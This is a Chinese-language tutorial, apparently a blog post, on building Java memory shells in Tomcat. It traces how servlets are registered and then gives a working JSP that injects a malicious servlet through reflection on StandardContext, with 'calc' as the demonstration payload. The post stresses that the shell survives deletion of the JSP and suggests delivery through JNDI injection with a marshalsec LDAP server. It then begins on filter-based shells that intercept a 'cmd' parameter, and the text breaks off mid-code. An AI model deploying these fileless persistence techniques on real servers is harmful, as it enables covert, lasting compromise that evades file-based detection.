JAVA-内存马-servlet #
1:servlet内存马 #
Servlet 内存马是通过动态注册 Servlet 来实现的一种内存攻击手段。在 Java Web 应用中,Servlet 作为处理客户端请求的核心组件之一,能够直接处理 HTTP 请求并返回响应。攻击者利用这一点,通过程序化地向 Web 容器(如 Tomcat)在运行时注册恶意的 Servlet 对象,使得该 Servlet 能够在没有实际文件存在的情况下执行恶意程序。
但是我们也要搞清除,Servlet类是怎么装载到Web容器里面的
自己编写一个类 重写doget方法
package com.yr.memshellser;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("Hello World");
}
}
再web.xml下面定义路径是my
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.yr.memshellser.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/my</url-pattern>
</servlet-mapping>
</web-app>
然后访问路径触发URL
两种生效方法:一种定义xml 一种@WebServlet(name = "helloServlet", value = "/hello-servlet") 这种
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.yr.memshellser.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/My</url-pattern>
</servlet-mapping>
tomcat是如何加载这些servlet的呢 #
加载tomcat源码
compile不行就用provided
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.74</version>
<scope>compile</scope> <!-- 或 provided,根据场景调整 -->
</dependency>
这里的代码类就是加载sevlet进去容器的代码我们可以断点看下
成功断下来
在下面发现了MAP里面就是我们的对象
同时还有映射关系/My 映射到MyServlet .jsp映射到jsp
我们所以的Servlet变成了webxml传入进去了configureContext方法中进行处理
这里的for循环就是添加的地方
把servlet放到 wrapper里面然后把,wrapper放到了context中,就完成添加servlet到tomcat中的过程
如下面代码添加mapping
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
所以这两个代码完成了servlet和mapping的添加
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
所以让目标执行这里两个代码就行了对吧。
但是context是什么呢
在doGet的地方断点
输入方法
在这里发现了我们要的那个context 所以我们拿到那个Standard context就可以执行上面两步了
编写JSP #
JSP(Java Server Page)是 Servlet 的动态扩展形式——Web 容器(如 Tomcat)会将 JSP 文件编译成 Servlet 类(.class文件),并在内存中加载执行。例如,一个test.jsp文件在编译后会生成对应的test_jsp.java和test_jsp.class,其本质就是一个 Servlet。
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
//定义恶意的servlet
public class Memshell extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
//拿到applicationContext
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
//获取指定对象中当前字段的值。获取servletContext中的context就是我们的ApplicationContext对象
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext)context1.get(applicationContext);
//将Memshell封装到wrapper中
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("memshell");
wrapper.setServletClass(Memshell.class.getName());
wrapper.setServlet(new Memshell());
//添加wapper到context中然后映射
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/mem","memshell");
%>
现在我们不能访问mem
然后我们触发jsp后成功弹出计算器
当你删除jsp后依旧可以运行
当你觉得jsp太容易被查杀了,但是如果对方有jndi注入的话你可以
1:找到可控点
2:放这代码到class中比如用 marshalsec 启动一个ldap服务 指定这个类
2:filter内存马 #
客户端经过的请求经过服务器时候,先通过过滤器再到servlet去处理
过滤器数量不止一个,filter可以一个传一个
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.74</version>
<scope>compile</scope> <!-- 或 provided,根据场景调整 -->
</dependency>
首先和上面一样创建一个servlet程序
我们首先创建一个过滤器查看效果
public class Hellofilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd == null) {
super.doFilter(req, res, chain);
}
else {
res.setContentType("text/html");
res.getWriter().println("你的代码里面有"+ cmd);
}
}
在web.xml中添加
<filter>
<filter-name>hello-servlet</filter-name>
<filter-class>com.yr.memshellfilter.Hellofilter</filter-class>
</filter>
访问全部都生效
<filter-mapping>
<filter-name>hello-servlet</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
当我们的参数有cmd的时候就会给我们拦截到
那我们在动态的时候怎么添加这个进去呢
我们断点调试找到了这个doFilter类
不管怎么样都会执行internalDoFilter方法
并且有一个filters数组里面的指针就是我们的filter的传递,那我们的目标就是把filter放入到这个数组中
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();